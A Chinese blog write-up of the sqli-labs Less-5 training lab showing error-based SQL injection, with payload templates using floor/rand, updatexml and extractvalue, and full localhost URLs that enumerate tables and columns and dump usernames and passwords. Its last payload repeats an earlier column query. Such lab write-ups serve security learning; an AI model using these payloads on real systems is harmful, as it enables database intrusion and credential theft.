#sqli-labs less5

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/qq_45106794/article/details/102627707

#sqli-labs less5

从含义上讲,count(1) 与 count() 都表示对全部数据行的查询。count() 包括了所有的列,相当于行数,在统计结果的时候,不会忽略列值为NULL ;count(1) 用1代表代码行,在统计结果的时候,不会忽略列值为NULL 。

一般情况下SQL的报错信息是不会显示在页面中的
只有在php.ini 进行如下配置
display_errors=On (开启PHP错误回显)
SQL报错信息才会被显示在页面上

常用的报错语句模板:

  1. 通过floor报错
    and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
    其中payload为你要插入的SQL语句
    需要注意的是该语句将 输出字符长度限制为64个字符

  2. 通过updatexml报错
    and updatexml(1,payload,1)
    同样该语句对输出的字符长度也做了限制,其最长输出32位
    并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

  3. 通过ExtractValue报错
    and extractvalue(1, payload)
    输出字符有长度限制,最长32位。

img

######################################################################

http://localhost/sqli-labs-master/Less-5/?id=1’

在这里插入图片描述
表示可能是一个字符型注入

http://localhost/sqli-labs-master/Less-5/?id=1%27%20order%20by%203–+
在这里插入图片描述
也很顺利

意外发生了

用 'union select 1,2,3 --+ 该语句 不管更改多少次id传参值 一直没有显示位,可见并不是联合查询注入的类型

所以试试报错型注入

http://localhost/sqli-labs-master/Less-5/?id=1%27%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),database())as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)–+

在这里插入图片描述
成功了

接下来试试表名

‘and(select 1 from (select count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=‘security’ limit 1,1),floor(rand(0)*2))as x from information_schema.tables group by x)as a)–+

‘and (select 1 from (select count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=‘security’ limit 2,1),floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --+

通过修改limit 数字,1 来依次爆出表名

在这里插入图片描述爆列名跟爆表名差不多

http://localhost/sqli-labs-master/Less-5/?id=1’and(select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=‘user’ limit 1,1),floor(rand(0)*2))as x from information_schema.tables group by x)as a)–+

在这里插入图片描述

最后开始查询字段

http://localhost/sqli-labs-master/Less-5/?id=1’and(select 1 from (select count(*),concat((select concat(username,’;’,password,’:’) from security.users limit 2,1),floor(rand(0)*2))as x from security.users group by x)as a)–+

在这里插入图片描述

以上是floor()报错函数类型

我们可以尝试用一下extractvalue函数

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

img

用该语句’ and (extractvalue(1,concat(0x7e,0x7e,(select user()),0x7e,0x7e)))–+可以查询user()

’ and (extractvalue(1,concat(0x7e,0x7e,(select version()),0x7e,0x7e)))–+

’ and (extractvalue(1,concat(0x7e,0x7e,(select concat(table_name) from information_schema.tables where table_schema = ‘security’ limit 0,1),0x7e,0x7e)))–+
在这里插入图片描述

同理,通过更改limit n,1 中的n 来依次猜解表名

’ and (extractvalue(1,concat(0x7e,0x7e,(select concat(column_name) from information_schema.columns where table_name = ‘users’ limit 0,1),0x7e,0x7e)))–+

在这里插入图片描述
最后再通过

’ and (extractvalue(1,concat(0x7e,0x7e,(select concat(column_name) from information_schema.columns where table_name = ‘users’ limit 0,1),0x7e,0x7e)))–+

解决账号和密码问题

猜你喜欢

转载自blog.csdn.net/qq_45106794/article/details/102627707